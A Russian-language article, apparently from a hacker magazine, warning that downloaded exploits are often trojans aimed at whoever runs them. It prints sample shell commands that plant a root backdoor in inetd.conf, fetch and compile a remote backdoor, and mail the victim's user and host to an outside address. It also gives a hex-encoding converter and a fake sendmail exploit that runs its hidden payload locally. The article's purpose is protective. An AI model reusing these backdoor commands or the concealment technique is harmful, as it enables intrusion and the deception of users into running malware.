Что такое эксплойты.
Подавляющее большинство Win-юзеров, скачивая из сети новый файл тут же проверяют его антивирусом на предмет нахождения в нем всяческих троянов и вирусов. Как правило это обеспечивает им должный уровень защиты. Но потом у этих пользователей просыпается страсть к взлому… Пользователи переходят на *nix, ходят на "hack-сайты" и как водится скачивают эксплоиты. Тут-то и начинаются проблемы... Очень часто экплоиты повреждаются самими авторами, чтобы предотвратить так называемый "kids usage" (использование, мягко говоря, людьми некомпетентными). Поврежденный эксплоит поможет тебе существенно увеличить размер лог-файлов на "взламываемом" сервере, но больше он не на что не способен… (так к примеру было с первым эксплоитом для wu-ftpd2.6.1, более известным как woot-exploit). В таких случаях обычно поврежден так называемый "шеллкод" (определенная последовательность действий, позволяющая успешно использовать ту или иную уязвимость). Если последовательность нарушается, то эксплоит становится бесполезен… Ну если эксплоит сработал именно так как надо? Если его автор с самого начала хотел поиметь тебя, а не какой-нибудь sendmail? Ведь именно эксплоит идеальное прикрытие для трояна - не надо ничего впаривать, маскировать под "очень полезную программу" и т.д. Пользователь сам скачивает, компилирует и запускает… Ну, а если ничего не происходит - винит свои руки… Следуя этой идее, отдельные несознательные личности создают "супер-эксплоиты" и рассылают их по сайтам соответствующей тематики. Поэтому, злоупотребляя "случайными связями", рискуешь столкнуться с эксплоитами у которых "шеллкод" выглядит примерно так: (shellcode_1):
cp /etc/inetd.conf /tmp/;(cat /etc/inetd.conf;echo "31337 stream tcp nowait
root /bin/bash bash -i")>/etc/inetd.conf;killall -HUP inetd;mv /tmp/inetd.conf
/etc/;echo "`whoami`@`hostname -i`"| mail on@mail.ru
Он добавляет "черный ход" в inetd.conf, позволяющий подключаться к машине как root; после чего перезапускает inetd и отправляет соответствующее письмо автору трояна. (shellcode_2):
`which lynx` -dump niekde.sk/backdoor.c>/tmp/backdoor.c;gcc -o /tmp/backdoor
/tmp/backdoor.c;/tmp/backdoor;rm -f /tmp/backdoor*;echo "`whoami`@`hostname -i"|
mail on@mail.ru
А этот загружает код бекдора из сети используя lynx, компилирует бэкдор и запускает его; уведомляет автора трояна вежливым письмом ;-) Слишком заметно скажешь ты… Ну во-первых более половины пользователей вообще не читают код эксплоита, ну а во вторых - где ты видел шеллкод в таком виде? При написании эксплоита обычным делом является представление шеллкода в шестнадцатиричном виде - примерно вот так: \x62\x75\x67\x67\x7A\x79\x2C\x20\x6B\x69\x73\x73\x20\x6D\x79\x20\x61\x73\x73\x21\x21\x21\xA\xA\x62\x65\x73\x74\x20\x72\x65\x67\x61\x72\x64\x73\x2C\xA\x5A\x61\x6B\x68\x61\x72\x6F\x76\x20\x49\x67\x6F\x72\xA В таком виде шеллкод сохраняет все свои "потребительские свойства", однако так просто не читается… подобная конвертация осуществляется с помощью простейшей программы - назовем ее "конвертер", вот ее код:
<-- cut konvertor.c -
#define EOF -1
main()
{
char c;
while ((c = getchar())!= EOF)
printf("\\x%X", c);
}
<-- cut konvertor.c -
С использованием данной программы, процедуру конвертации можно запустить так: cat файл_с_командами |./konvertor > файл_с_конвертированным_кодом Для тех, кто читает эту статью и желает попробовать все прямо сейчас, я скомпилировал win-версию этого конвертера. Win-синтаксис выглядит так: type файл_с_командами |konvertor.exe > файл_с_конвертированным_кодом Вот как будет выглядеть шеллкод №1 после конвертации:
\x63\x70\x20\x2F\x65\x74\x63\x2F\x69\x6E\x65\
x74\x64\x2E\x63\x6F\x6E\x66\x20\x2F\x74\x6D\
x70\x2F\x3B\x28\x63\x61\x74\x20\x2F\x65\x74\
x63\x2F\x69\x6E\x65\x74\x64\x2E\x63\x6F\x6E\
x66\x3B\x65\x63\x68\x6F\x20\x22\x33\x31\x33\
x33\x37\x20\x73\x74\x72\x65\x61\x6D\x20\x74\
x63\x70\x20\x6E\x6F\x77\x61\x69\x74\x20\xA\
x72\x6F\x6F\x74\x20\x2F\x62\x69\x6E\x2F\x62\
x61\x73\x68\x20\x62\x61\x73\x68\x20\x2D\x69\
x22\x29\x3E\x2F\x65\x74\x63\x2F\x69\x6E\x65\
x74\x64\x2E\x63\x6F\x6E\x66\x3B\x6B\x69\x6C\
x6C\x61\x6C\x6C\x20\x2D\x48\x55\x50\x20\x69\
x6E\x65\x74\x64\x3B\x6D\x76\x20\x2F\x74\x6D\
x70\x2F\x69\x6E\x65\x74\x64\x2E\x63\x6F\x6E\
x66\x20\xA\x2F\x65\x74\x63\x2F\x3B\x65\x63\
x68\x6F\x20\x22\x60\x77\x68\x6F\x61\x6D\x69\
x60\x40\x60\x68\x6F\x73\x74\x6E\x61\x6D\x65\
x20\x2D\x69\x60\x22\x7C\x20\x6D\x61\x69\x6C\
x20\x6F\x6E\x40\x6E\x69\x65\x6B\x64\x65\x2E\
x72\x75\xA
Естественно в таком виде он уже не вызывает сильных подозрений… Обратное преобразования даже проще: шестнадцатиричный код нужно подставить в качестве аргумента для функции printf(), скомпилировать и запустить. Вот скомпилированный экзешник "анти-конвертора". Напоследок предложу тебе пример "эксплоита для sendmail":
<-- cut usb.c -
#include
#include
char shellcode[] =
"\x65\x63\x68\x6F\x20\x22\x6A\x61\x20\x73\x6F\x6D\x20\x74\x61\x6B"
"\x79\x20\x6D\x61\x6C\x79\x20\x6C\x61\x6D\x65\x72\x6B\x6F\x2E\x20"
"\x76\x6F\x6C\x61\x6D\x20\x73\x61\x20\x60\x77\x68\x6F\x61\x6D\x69"
"\x60\x20\x61\x20\x76\x6F\x62\x65\x63\x20\x6E\x65\x6B\x6F\x6E\x74"
"\x72\x6F\x6C\x75\x6A\x65\x6D\x20\x73\x68\x65\x6C\x6C\x63\x6F\x64"
"\x79\x20\x65\x78\x70\x6C\x6F\x69\x74\x6F\x76\x2E\x20\x73\x70\x75"
"\x73\x74\x61\x6D\x20\x63\x6F\x20\x6D\x61\x20\x6E\x61\x70\x61\x64"
"\x6E\x65\x20\x61\x20\x76\x6F\x62\x65\x63\x20\x6E\x65\x72\x6F\x7A"
"\x75\x6D\x69\x65\x6D\x20\x74\x6F\x6D\x75\x2C\x20\x63\x6F\x20\x72"
"\x6F\x62\x69\x6D\x2E\x22\x3E\x3E\x20\x2F\x74\x6D\x70\x2F\x4A\x41"
"\x2D\x53\x4F\x4D\x2D\x4C\x41\x4D\x45\x52\x3B\x20\x63\x61\x74\x20"
"\x2F\x74\x6D\x70\x2F\x4A\x41\x2D\x53\x4F\x4D\x2D\x4C\x41\x4D\x45"
"\x52\x7C\x6D\x61\x69\x6C\x20\x72\x6F\x6F\x74";
#define LSIZE 256
#define BUFSIZE 2000
int main(int argc, char *argv[])
{
int sck;
char *buf;
struct hostent *target;
struct sockaddr_in sin;
if (argc != 2) {
printf("\nUltimate Sendmail 8.9.3 remote exploit by 31337 hax0r.\n");
printf("Usage: %s [target host]\n\n", argv[0]);
exit(1);
}
buf = (char *) malloc(LSIZE + BUFSIZE + 100);
memcpy(&buf[LSIZE - strlen(shellcode)], shellcode, strlen(shellcode));
target = gethostbyname(argv[1]);
if (target == NULL) {
printf("Error: Host not found: %s\n", argv[1]);
exit(1);
}
bzero(&sin, sizeof(sin));
bcopy(target->h_addr, (char *)&sin.sin_addr, target->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sck < 0) {
printf("Error: Can't open socket.\n");
exit(1);
}
if (connect(sck, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
printf("Error: Connection refused.\n");
}
printf("Status: Connecting to %s.\n", argv[1]);
printf("Press any key to send shellcode or ctrl-c to abort.\n");
if (fork() == 0)
execl("/bin/sh", "sh", "-c", shellcode, 0);while(1);
}
<-- cut usb.c -
Если ты конвертируешь шеллкод в читаемый вид, то увидишь, что вся "соль" заключена именно в нем, а остальная часть - всего лишь маскировка. !!! Никогда никому не доверяй, проверяй все, что скачиваешь из Сети - даже самый-самый "крутой" эксплоит может оказаться банальным трояном. И никогда, никогда не запускай неизвестные программы как root!!!
Источник: неизвестен